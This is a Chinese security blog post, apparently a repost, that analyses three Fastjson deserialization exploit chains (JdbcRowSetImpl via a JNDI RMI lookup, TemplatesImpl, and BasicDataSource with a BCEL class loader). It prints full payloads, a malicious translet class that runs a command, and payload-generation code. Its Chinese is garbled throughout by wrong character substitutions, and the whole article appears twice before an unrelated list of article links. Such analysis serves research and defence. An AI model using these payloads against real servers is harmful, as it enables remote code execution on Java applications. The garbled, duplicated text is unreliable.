作者:4ra1n
起源:https://www.anquanke.com/post...

Fastjson已被大家剖析过很屡次,本文次要是对三种利用链做剖析和比照

JdbcRowSetImpl

String payload = "{\n" +    "    \"a\":{\n" +    "        \"@type\":\"java.lang.Class\",\n" +    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +    "    },\n" +    "    \"b\":{\n" +    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +    "        \"autoCommit\":true\n" +    "    }\n" +    "}";JSON.parse(payload);

payload中的a对象用来当作缓存绕过,须要关注的是第二个对象

留神到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

    public void setAutoCommit(boolean var1) throws SQLException {        if (this.conn != null) {            this.conn.setAutoCommit(var1);        } else {            // conn为空才会调用到这里            this.conn = this.connect();            this.conn.setAutoCommit(var1);        }    }

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载近程歹意对象

protected Connection connect() throws SQLException {    if (this.conn != null) {        return this.conn;    } else if (this.getDataSourceName() != null) {        try {            // conn为空且dataSourceName不为空才会到这里            InitialContext var1 = new InitialContext();            // 胜利触发JNDI注入            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

依据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

    public Object lookup(Name var1) throws NamingException {        if (var1.isEmpty()) {            ......            return this.decodeObject(var2, var1.getPrefix(1));        }    }

跟入decodeObject办法,看到加载了近程Reference绑定的歹意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战能够利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
  • 必须能出网,加载远端的歹意字节码,造成了局限性

TemplateImpl

String payload = "{\"a\":{\n" +    "\"@type\":\"java.lang.Class\",\n" +    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +    "},\n" +    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";JSON.parse(payload, Feature.SupportNonPublicField);

留神其中的Payload来自于歹意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {    public TEMPOC() throws IOException {        Runtime.getRuntime().exec("calc.exe");    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {    }    public static void main(String[] args) throws Exception {        TEMPOC t = new TEMPOC();    }}

相似第一条链,应用两个对象绕过,其中的Payload为歹意类的字节码再Base64编码的后果,给出繁难的py脚本

fin = open(r"PATH-TO-TEMPOC.class", "rb")byte = fin.read()fout = base64.b64encode(byte).decode("utf-8")print(fout)

该链须要开启Feature.SupportNonPublicField参数再反射设置属性,查看官网阐明,如果某属性不存在set办法,但还想设置值时,须要开启该参数,这里的状况正好合乎,而理论我的项目中很少呈现这种状况,导致该链较鸡肋,没有理论的意义(其实TemplateImpl类中有set办法,比方setTransletBytecodes,然而名称和Bytecodes不统一)

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;if (fieldDeserializer == null    && (lexer.isEnabled(mask)        || (this.beanInfo.parserFeatures & mask) != 0)) {    ......

反序列化时,fastjson中会把”_”结尾的属性替换为空。并在outputProperties设置值时调用getOutputProperties

   public synchronized Properties getOutputProperties() {        try {            return newTransformer().getOutputProperties();        }        catch (TransformerConfigurationException e) {            return null;        }    }

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer办法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name不能为空所以在payload中设置a.bif (_name == null) return null;// 要害if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload歹意类要继承自该类。如果验证没有问题,将在上方的newInstance办法中实例化该类,造成RCE

private static String ABSTRACT_TRANSLET        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";if (superClass.getName().equals(ABSTRACT_TRANSLET)) {    _transletIndex = i;}

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在通过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

......if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {    byte[] bytes = lexer.bytesValue();    ......

跟入lexer.bytesValue()办法,看到decodeBase64

public byte[] bytesValue() {    ......    // base64解码    return IOUtils.decodeBase64(buf, np + 1, sp);}

总结:

  • TemplatesImpl类是Java反序列化界比拟罕用的类,更容易了解和上手
  • 须要开启Feature.SupportNonPublicField,实战中不实用

BasicDataSource

String payload = "{\n" +    "    \"name\":\n" +    "    {\n" +    "        \"@type\" : \"java.lang.Class\",\n" +    "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +    "    },\n" +    "    \"x\" : {\n" +    "        \"name\": {\n" +    "            \"@type\" : \"java.lang.Class\",\n" +    "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +    "        },\n" +    "        \"y\": {\n" +    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +    "            \"c\": {\n" +    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +    "                \"driverClassLoader\": {\n" +    "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +    "                },\n" +    "                \"driverClassName\":\"!!!Payload!!!\",\n" +    "\n" +    "                     \"$ref\": \"$.x.y.c.connection\"\n" +    "\n" +    "            }\n" +    "        }\n" +    "    }\n" +    "}";JSON.parse(payload);

这个Payload实用于1.2.37版本,并且须要导入Tomcat相干的包

<dependencies>    <dependency>        <groupId>com.alibaba</groupId>        <artifactId>fastjson</artifactId>        <version>1.2.37</version>    </dependency>    <dependency>        <groupId>org.apache.tomcat</groupId>        <artifactId>tomcat-dbcp</artifactId>        <version>8.0.36</version>    </dependency></dependencies>

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.Repository;public class Test {    public static void main(String[] args) throws Exception {        JavaClass cls = Repository.lookupClass(Exp.class);        String code = Utility.encode(cls.getBytes(), true);        code = "$$BCEL$$" + code;        new ClassLoader().loadClass(code).newInstance();        System.out.println(code);    }}

BCEL的全名是Apache Commons BCEL,Apache Commons我的项目下的一个子项目,蕴含在JDK的原生库中。咱们能够通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也能够间接应用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格局的字节码。

生成的BCEL格局大略如下:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格局的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当咱们在Fastjson反序列化中结构出这种链,将会造成反序列化破绽

回到Payload,结尾一部分用于绕Fastjson黑白名单,没有什么非凡的意义,外围局部如下:

"x" : {    "name": {        "@type" : "java.lang.Class",        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "y": {        "@type":"com.alibaba.fastjson.JSONObject",        "c": {            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",            "driverClassLoader": {                "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"            },            "driverClassName":"!!!Payload!!!",            "$ref": "$.x.y.c.connection"        }    }}

这个版本利用的是$ref这个个性:当fastjson版本>=1.2.36时,咱们能够应用$ref的形式来调用任意的getter,比方这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection办法,也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {    // 传入的ref是$.x.y.c.connection,匹配到else    if ("@".equals(ref)) {        ...    } else if ("..".equals(ref)) {        ...    } else if ("$".equals(ref)) {        ...    } else {        Object refObj = parser.resolveReference(ref);        if (refObj != null) {            object = refObj;        } else {            // 将$.x.y.c.connection退出到Task            parser.addResolveTask(new ResolveTask(context, ref));            parser.resolveStatus = DefaultJSONParser.NeedToResolve;        }    }}// 解决后设置到contextparser.setContext(context, object, fieldName);

破绽的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {    refValue = getObject(ref);    if (refValue == null) {        try {            // 看到eval感觉有货色            refValue = JSONPath.eval(value, ref);        } catch (JSONPathException ex) {            // skip        }    }}

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {    if (rootObject == null) {        return null;    }    init();    Object currentObject = rootObject;    for (int i = 0; i < segments.length; ++i) {        Segement segement = segments[i];        // 持续跟入        currentObject = segement.eval(this, rootObject, currentObject);    }    return currentObject;}

达到com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {    if (deep) {        List<Object> results = new ArrayList<Object>();        path.deepScan(currentObject, propertyName, results);        return results;    } else {        // return path.getPropertyValue(currentObject, propertyName, true);        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);    }}

持续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {    if (currentObject == null) {        return null;    }    if (currentObject instanceof Map) {        Map map = (Map) currentObject;        Object val = map.get(propertyName);        if (val == null && SIZE == propertyNameHash) {            val = map.size();        }        return val;    }    final Class<?> currentClass = currentObject.getClass();    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);    if (beanSerializer != null) {        try {            // 最初一次循环达到这里            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);        } catch (Exception e) {            throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);        }    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {    FieldSerializer fieldDeser = getFieldSerializer(keyHash);    ......    // 跟入    return fieldDeser.getPropertyValue(object);}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {    Object propertyValue =  fieldInfo.get(object);

达到com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {    return method != null            ? method.invoke(javaObject)            : field.get(javaObject);}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource自身

public Connection getConnection() throws SQLException {    if (Utils.IS_SECURITY_ENABLED) {        // 跟入        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();        try {            return AccessController.doPrivileged(action);        } catch (final PrivilegedActionException e) {            final Throwable cause = e.getCause();            if (cause instanceof SQLException) {                throw (SQLException) cause;            }            throw new SQLException(e);        }    }    return createDataSource().getConnection();}    private class PaGetConnection implements PrivilegedExceptionAction<Connection> {        @Override        public Connection run() throws SQLException {            // 跟入createDataSource()            return createDataSource().getConnection();        }    }// 持续跟入createConnectionFactory()final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输出,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL...这种格局后,在newInstance办法执行后被实例化。第二个参数initial为true时,类加载后将会间接执行static{}块中的代码。

if (driverClassLoader == null) {    driverFromCCL = Class.forName(driverClassName);} else {    driverFromCCL = Class.forName(        driverClassName, true, driverClassLoader);}...driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);...driverToUse = (Driver) driverFromCCL.newInstance();

总结:

  • 不须要出网,不须要开启非凡的参数,适用范围较广
  • 指标须要引入tomcat依赖,虽说比拟常见,但也是一种限度

Fastjson已被大家剖析过很屡次,本文次要是对三种利用链做剖析和比照

JdbcRowSetImpl

String payload = "{\n" +    "    \"a\":{\n" +    "        \"@type\":\"java.lang.Class\",\n" +    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +    "    },\n" +    "    \"b\":{\n" +    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +    "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +    "        \"autoCommit\":true\n" +    "    }\n" +    "}";JSON.parse(payload);

payload中的a对象用来当作缓存绕过,须要关注的是第二个对象

留神到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

    public void setAutoCommit(boolean var1) throws SQLException {        if (this.conn != null) {            this.conn.setAutoCommit(var1);        } else {            // conn为空才会调用到这里            this.conn = this.connect();            this.conn.setAutoCommit(var1);        }    }

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载近程歹意对象

protected Connection connect() throws SQLException {    if (this.conn != null) {        return this.conn;    } else if (this.getDataSourceName() != null) {        try {            // conn为空且dataSourceName不为空才会到这里            InitialContext var1 = new InitialContext();            // 胜利触发JNDI注入            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

依据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

    public Object lookup(Name var1) throws NamingException {        if (var1.isEmpty()) {            ......            return this.decodeObject(var2, var1.getPrefix(1));        }    }

跟入decodeObject办法,看到加载了近程Reference绑定的歹意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战能够利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
  • 必须能出网,加载远端的歹意字节码,造成了局限性

TemplateImpl

String payload = "{\"a\":{\n" +    "\"@type\":\"java.lang.Class\",\n" +    "\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +    "},\n" +    "\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +    "\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";JSON.parse(payload, Feature.SupportNonPublicField);

留神其中的Payload来自于歹意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {    public TEMPOC() throws IOException {        Runtime.getRuntime().exec("calc.exe");    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {    }    public static void main(String[] args) throws Exception {        TEMPOC t = new TEMPOC();    }}

相似第一条链,应用两个对象绕过,其中的Payload为歹意类的字节码再Base64编码的后果,给出繁难的py脚本

fin = open(r"PATH-TO-TEMPOC.class", "rb")byte = fin.read()fout = base64.b64encode(byte).decode("utf-8")print(fout)

该链须要开启Feature.SupportNonPublicField参数再反射设置属性,查看官网阐明,如果某属性不存在set办法,但还想设置值时,须要开启该参数,这里的状况正好合乎,而理论我的项目中很少呈现这种状况,导致该链较鸡肋,没有理论的意义(其实TemplateImpl类中有set办法,比方setTransletBytecodes,然而名称和Bytecodes不统一)

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;if (fieldDeserializer == null    && (lexer.isEnabled(mask)        || (this.beanInfo.parserFeatures & mask) != 0)) {    ......

反序列化时,fastjson中会把”_”结尾的属性替换为空。并在outputProperties设置值时调用getOutputProperties

   public synchronized Properties getOutputProperties() {        try {            return newTransformer().getOutputProperties();        }        catch (TransformerConfigurationException e) {            return null;        }    }

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer办法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name不能为空所以在payload中设置a.bif (_name == null) return null;// 要害if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload歹意类要继承自该类。如果验证没有问题,将在上方的newInstance办法中实例化该类,造成RCE

private static String ABSTRACT_TRANSLET        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";if (superClass.getName().equals(ABSTRACT_TRANSLET)) {    _transletIndex = i;}

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在通过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

......if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {    byte[] bytes = lexer.bytesValue();    ......

跟入lexer.bytesValue()办法,看到decodeBase64

public byte[] bytesValue() {    ......    // base64解码    return IOUtils.decodeBase64(buf, np + 1, sp);}

总结:

  • TemplatesImpl类是Java反序列化界比拟罕用的类,更容易了解和上手
  • 须要开启Feature.SupportNonPublicField,实战中不实用

BasicDataSource

String payload = "{\n" +    "    \"name\":\n" +    "    {\n" +    "        \"@type\" : \"java.lang.Class\",\n" +    "        \"val\"   : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +    "    },\n" +    "    \"x\" : {\n" +    "        \"name\": {\n" +    "            \"@type\" : \"java.lang.Class\",\n" +    "            \"val\"   : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +    "        },\n" +    "        \"y\": {\n" +    "            \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +    "            \"c\": {\n" +    "                \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +    "                \"driverClassLoader\": {\n" +    "                    \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +    "                },\n" +    "                \"driverClassName\":\"!!!Payload!!!\",\n" +    "\n" +    "                     \"$ref\": \"$.x.y.c.connection\"\n" +    "\n" +    "            }\n" +    "        }\n" +    "    }\n" +    "}";JSON.parse(payload);

这个Payload实用于1.2.37版本,并且须要导入Tomcat相干的包

<dependencies>    <dependency>        <groupId>com.alibaba</groupId>        <artifactId>fastjson</artifactId>        <version>1.2.37</version>    </dependency>    <dependency>        <groupId>org.apache.tomcat</groupId>        <artifactId>tomcat-dbcp</artifactId>        <version>8.0.36</version>    </dependency></dependencies>

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.Repository;public class Test {    public static void main(String[] args) throws Exception {        JavaClass cls = Repository.lookupClass(Exp.class);        String code = Utility.encode(cls.getBytes(), true);        code = "$$BCEL$$" + code;        new ClassLoader().loadClass(code).newInstance();        System.out.println(code);    }}

BCEL的全名是Apache Commons BCEL,Apache Commons我的项目下的一个子项目,蕴含在JDK的原生库中。咱们能够通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也能够间接应用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格局的字节码。

生成的BCEL格局大略如下:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格局的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当咱们在Fastjson反序列化中结构出这种链,将会造成反序列化破绽

回到Payload,结尾一部分用于绕Fastjson黑白名单,没有什么非凡的意义,外围局部如下:

"x" : {    "name": {        "@type" : "java.lang.Class",        "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "y": {        "@type":"com.alibaba.fastjson.JSONObject",        "c": {            "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",            "driverClassLoader": {                "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"            },            "driverClassName":"!!!Payload!!!",            "$ref": "$.x.y.c.connection"        }    }}

这个版本利用的是$ref这个个性:当fastjson版本>=1.2.36时,咱们能够应用$ref的形式来调用任意的getter,比方这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection办法,也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {    // 传入的ref是$.x.y.c.connection,匹配到else    if ("@".equals(ref)) {        ...    } else if ("..".equals(ref)) {        ...    } else if ("$".equals(ref)) {        ...    } else {        Object refObj = parser.resolveReference(ref);        if (refObj != null) {            object = refObj;        } else {            // 将$.x.y.c.connection退出到Task            parser.addResolveTask(new ResolveTask(context, ref));            parser.resolveStatus = DefaultJSONParser.NeedToResolve;        }    }}// 解决后设置到contextparser.setContext(context, object, fieldName);

破绽的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {    refValue = getObject(ref);    if (refValue == null) {        try {            // 看到eval感觉有货色            refValue = JSONPath.eval(value, ref);        } catch (JSONPathException ex) {            // skip        }    }}

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {    if (rootObject == null) {        return null;    }    init();    Object currentObject = rootObject;    for (int i = 0; i < segments.length; ++i) {        Segement segement = segments[i];        // 持续跟入        currentObject = segement.eval(this, rootObject, currentObject);    }    return currentObject;}

达到com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {    if (deep) {        List<Object> results = new ArrayList<Object>();        path.deepScan(currentObject, propertyName, results);        return results;    } else {        // return path.getPropertyValue(currentObject, propertyName, true);        return path.getPropertyValue(currentObject, propertyName, propertyNameHash);    }}

持续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {    if (currentObject == null) {        return null;    }    if (currentObject instanceof Map) {        Map map = (Map) currentObject;        Object val = map.get(propertyName);        if (val == null && SIZE == propertyNameHash) {            val = map.size();        }        return val;    }    final Class<?> currentClass = currentObject.getClass();    JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);    if (beanSerializer != null) {        try {            // 最初一次循环达到这里            return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);        } catch (Exception e) {            throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);        }    }

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {    FieldSerializer fieldDeser = getFieldSerializer(keyHash);    ......    // 跟入    return fieldDeser.getPropertyValue(object);}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {    Object propertyValue =  fieldInfo.get(object);

达到com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {    return method != null            ? method.invoke(javaObject)            : field.get(javaObject);}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource自身

public Connection getConnection() throws SQLException {    if (Utils.IS_SECURITY_ENABLED) {        // 跟入        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();        try {            return AccessController.doPrivileged(action);        } catch (final PrivilegedActionException e) {            final Throwable cause = e.getCause();            if (cause instanceof SQLException) {                throw (SQLException) cause;            }            throw new SQLException(e);        }    }    return createDataSource().getConnection();}    private class PaGetConnection implements PrivilegedExceptionAction<Connection> {        @Override        public Connection run() throws SQLException {            // 跟入createDataSource()            return createDataSource().getConnection();        }    }// 持续跟入createConnectionFactory()final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输出,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL...这种格局后,在newInstance办法执行后被实例化。第二个参数initial为true时,类加载后将会间接执行static{}块中的代码。

if (driverClassLoader == null) {    driverFromCCL = Class.forName(driverClassName);} else {    driverFromCCL = Class.forName(        driverClassName, true, driverClassLoader);}...driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);...driverToUse = (Driver) driverFromCCL.newInstance();

总结:

  • 不须要出网,不须要开启非凡的参数,适用范围较广
  • 指标须要引入tomcat依赖,虽说比拟常见,但也是一种限度

近期热文举荐:

1.1,000+ 道 Java面试题及答案整顿(2021最新版)

2.别在再满屏的 if/ else 了,试试策略模式,真香!!

3.卧槽!Java 中的 xx ≠ null 是什么新语法?

4.Spring Boot 2.5 重磅公布,光明模式太炸了!

5.《Java开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞+转发哦!